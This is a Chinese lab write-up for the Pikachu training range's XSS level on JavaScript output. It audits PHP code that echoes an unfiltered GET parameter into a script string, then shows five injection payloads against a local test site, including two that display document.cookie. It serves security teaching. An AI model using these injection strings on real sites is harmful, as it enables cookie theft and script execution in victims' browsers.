pikachu靶场通关笔记14 XSS关卡10-XSS之js输出(五种方法渗透)

目录

一、源码分析

1、进入靶场

2、代码审计

二、渗透实战

1、根据提示输入tmac

2、XSS探测

3、注入Payload1

4、注入Payload2

5、注入Payload3

6、注入Payload4

7、注入Payload5


本系列为通过《pikachu靶场通关笔记》的XSS关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到安全风险的真实原因,讲解XSS的原理并进行渗透实践,本文使用5种方法对XSS1第10关卡XSS之js输出进行渗透。

一、源码分析

1、进入靶场

打开pikachu靶场第09关XSS之js输出,这是一个输入框页面,完整URL地址如下所示。

复制代码
http://127.0.0.1/pikachu/vul/xss/xss_04.php

2、代码审计

右键查看源码,发现javascript代码,具体如下所示。

接下来查看xss_04.php源码内容,很明显此代码存在 XSS安全风险,核心原因在于直接将未经过滤和验证的 PHP 变量 jsvar 嵌入到 JavaScript 代码中。jsvar 的值来自用户通过 GET 请求提交的 message 参数,攻击者可以构造包含恶意 JavaScript 代码的输入,当这些恶意代码被嵌入到 JavaScript 代码块中时,就会在页面加载或执行相应逻辑时被浏览器执行。对应的完整JavaScript代码注释后如下所示。

复制代码
<script>
    // 从 PHP 代码中获取 $jsvar 变量的值,并将其赋值给 JavaScript 变量 $ms
    // 这里是通过 PHP 的 echo 语句将 $jsvar 的值嵌入到 JavaScript 代码中
    $ms = '<?php echo $jsvar;?>';

    // 检查 $ms 变量的长度是否不为 0
    // 即判断 $ms 是否有实际的内容
    if ($ms.length != 0) {
        // 检查 $ms 变量的值是否等于 'tmac'
        if ($ms == 'tmac') {
            // 如果 $ms 的值等于 'tmac',使用 jQuery 的 text 方法
            // 将 ID 为 'fromjs' 的元素的文本内容设置为 'tmac确实厉害,看那小眼神..'
            $('#fromjs').text('tmac确实厉害,看那小眼神..');
        } else {
            // 如果 $ms 的值不等于 'tmac'
            // 注释掉的代码,原本想弹出一个包含 $ms 内容的警告框
            // alert($ms);

            // 使用 jQuery 的 text 方法
            // 将 ID 为 'fromjs' 的元素的文本内容设置为 '无论如何不要放弃心中所爱..'
            $('#fromjs').text('无论如何不要放弃心中所爱..');
        }
    }
</script>

如上代码中提到了jvar变量,相关定义如下图所示。如下所示使用htmlspecialchars函数且参数为ENT_QUOTES对输入参数进行了过滤处理,这说明没法用第08关卡的单引号进行XSS渗透了。

这段 PHP 代码的主要功能是处理用户通过 GET 请求提交的 message 参数。当用户提交表单(即 submit 参数存在)且 message 参数有值时,将 message 的值赋给 jsvar 变量。若 jsvar 的值为 tmac,则在页面上显示一张名为 tmac.jpeg 的图片。详细注释后的源码如下所示。

复制代码
<?php
// 初始化一个空字符串变量 $jsvar,用于存储后续要在 JavaScript 中使用的变量值
$jsvar = '';
// 初始化一个空字符串变量 $html,用于存储后续要输出的 HTML 内容
$html = '';

// 检查 $_GET 数组中是否存在名为 'submit' 的元素,并且是否存在名为 'message' 的元素且其值不为 null
// 即判断用户是否通过 GET 请求提交了 'submit' 参数,同时也提交了 'message' 参数且该参数有值
if (isset($_GET['submit']) && $_GET['message'] != null) {
    // 将用户通过 GET 请求提交的 'message' 参数的值赋给 $jsvar 变量
    $jsvar = $_GET['message'];

    // 检查 $jsvar 变量的值是否等于 'tmac'
    if ($jsvar == 'tmac') {
        // 如果等于 'tmac',向 $html 变量中追加一个 img 标签
        // img 标签的 src 属性使用预定义的常量 $PIKA_ROOT_DIR 拼接图片的路径
        // 用于在页面上显示一张名为 tmac.jpeg 的图片
        $html .= "<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
    }
}
?>

综上,第10关的代码存在 XSS安全风险,原因在于直接将用户输入的内容_GET\['message'\]赋值给 jsvar 变量,且未对输入进行任何过滤和验证,接又将未经过滤和验证的 PHP 变量 jsvar 嵌入到 JavaScript 代码中。jsvar 的值来自用户通过 GET 请求提交的 message 参数,攻击者可以构造包含恶意 JavaScript 代码的输入,当这些恶意代码被嵌入到 JavaScript 代码块中时,就会在页面加载或执行相应逻辑时被浏览器执行。

二、渗透实战

1、根据提示输入tmac

进入到pikachu靶场XSS关卡最后一关,根据点击提示获得的信息"输入被动态的生成到了javascript中,如何是好。输入tmac试试-_-",输入tmac,效果如下所示。

页面提示看那小眼神.."tmac确实厉害,看那小眼神..",就这是因为js代码种输入为tmac,故而fromjs元素被赋值为"tmac确实厉害,看那小眼神..",同时因为jvar为tmac,页面显示了图片tmac.jpeg,相关源码如下所示。

复制代码
if ($jsvar == 'tmac') {
        // 如果等于 'tmac',向 $html 变量中追加一个 img 标签
        // img 标签的 src 属性使用预定义的常量 $PIKA_ROOT_DIR 拼接图片的路径
        // 用于在页面上显示一张名为 tmac.jpeg 的图片
        $html .= "<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />";
}
如果输入是tmac时, 将 ID 为 'fromjs' 的元素的文本内容设置为 'tmac确实厉害,看那小眼神..'
如果输入不是tmac时,将 ID 为 'fromjs' 的元素的文本内容设置为 '无论如何不要放弃心中所爱..'

2、XSS探测

输入Payload语句<script>alert('ljn')</script>探测XSS安全风险,如下所示。

复制代码
<script>alert('ljn')</script>

输入payload后没有任何反应,右键源码,搜索关键字ljn,可知因为ms不是tmac所以输出"无论如何不要放弃心中所爱"。具体代码逻辑如下所示。

由于ms参数未有任何过滤,故而渗透的思路可以通过与上图绿色框中的<script>构造闭合,只要构造出一个js语句就好了。

3、注入Payload1

前提1:语句的开始与上图中绿色的**<script>** **构造闭合,如'</script>**即可闭合。

重点:接下来是xss恶意脚本,如**<script>alert('ljn')</script>**,注入语句如下所示。

复制代码
'</script><script>alert('ljn')</script>

右键源码-搜索关键字ljn,分析渗透成功的原因,Payload1如何通过闭合语句来进行渗透的。红色框中的闭合如下所示。

复制代码
<script>
    $ms=''</script>

绿色框内为恶意弹窗<script>alert('ljn')</script>,效果如下所示。

4、注入Payload2

本次Paylaod的效果为弹框cookie值,注入Payload如下所示。

复制代码
'</script><script> alert(document.cookie)</script>

右键查看源码,搜索关键字cookie,闭合构造如下,故而可以弹框成功。

5、注入Payload3

首先要用';闭合掉当前ms的赋值的语句,然后插入新js语句,然后再用//注释掉老语句遗留下来的';

复制代码
开头有<script>
结尾有</script>
只要中间包含xss恶意脚本,如弹框alert('ljn')
那么就变成了<script>alert('ljn')</script>

接下来我们尝试进行闭合,目前可变参数为ms='string';

前提1:语句的开始为包含';闭合掉ms赋值语句,如';,在 中间插入 xss恶意脚本,如alert('ljn')

前提 2 :语句的末尾为 // ,注释掉后 ms 赋值语句最后的 ';

本次Paylaod的效果为弹框"ljn",注入Payload设置为**';alert('ljn')//或者或者';alert('ljn');//**如下所示。

复制代码
';alert('ljn')//
';alert('ljn');//

右键源码,搜索关键字ljn,闭合构造的原因如下所示。

Payload中第一个';使得ms赋值函数声明结束,接下来的alert('ljn')就可以是一个新的语句,但是原本ms赋值语句的最后为单引号和分号,故而在他们之前还需要加上//注释掉,从而构造如下闭合语句。

复制代码
$ms='';alert('ljn')//';

其中 alert('ljn') <script> </script> 生成如下脚本,构成弹框

复制代码
<script>
alert('ljn')
</script>

6、注入Payload4

本次Paylaod的效果为弹框"1019",注入Payload如下所示。

复制代码
';alert(1019);//
';alert(1019)//

右键源码,搜索关键字1019,闭合构造如下,故而可以弹框成功

7、注入Payload5

本次Paylaod的效果为弹框cookie值,注入Payload如下所示。

复制代码
';alert(document.cookie);//
';alert(document.cookie)//
相关推荐
BullSmall5 小时前
第三方软件安全-Dependency‑Track Docker 部署
安全·docker·容器
AImatters5 小时前
国产算力底座,支撑油气储运数字化迈过关键分水岭
安全·cpu·算力·海光·油气储运
DsirNg6 小时前
凭证不是登录态:从攻击面重做浏览器认证设计
oauth·xss·csrf·token·cookie·认证授权·web 安全
叠叠乐8 小时前
中国移动家庭云电脑window关闭所有安全脚本
安全
Jmyd01238 小时前
实训室的 3D 模型涉及肖像文物,数据安全与合规怎么做?
安全·3d·数据安全·虚拟实训
芯盾时代8 小时前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(三)
网络·安全·网络安全
敢敢是只喵i9 小时前
一个本地 AI Agent 要操作多个门店或 SaaS 账号,应该怎样安全切换身份?
人工智能·安全·ai·系统架构·业界资讯
Acrel123410 小时前
DC800V 大规模落地,算力机房安全该如何保障
安全
其实防守也摸鱼11 小时前
权限提升与横向移动:从内网渗透到域控的完整技术图谱
运维·服务器·数据库·安全·github·copilot·渗透
深圳海导科技11 小时前
资产防盗追踪系统:物联网高价值资产安全管理|海导科技navynav
科技·物联网·安全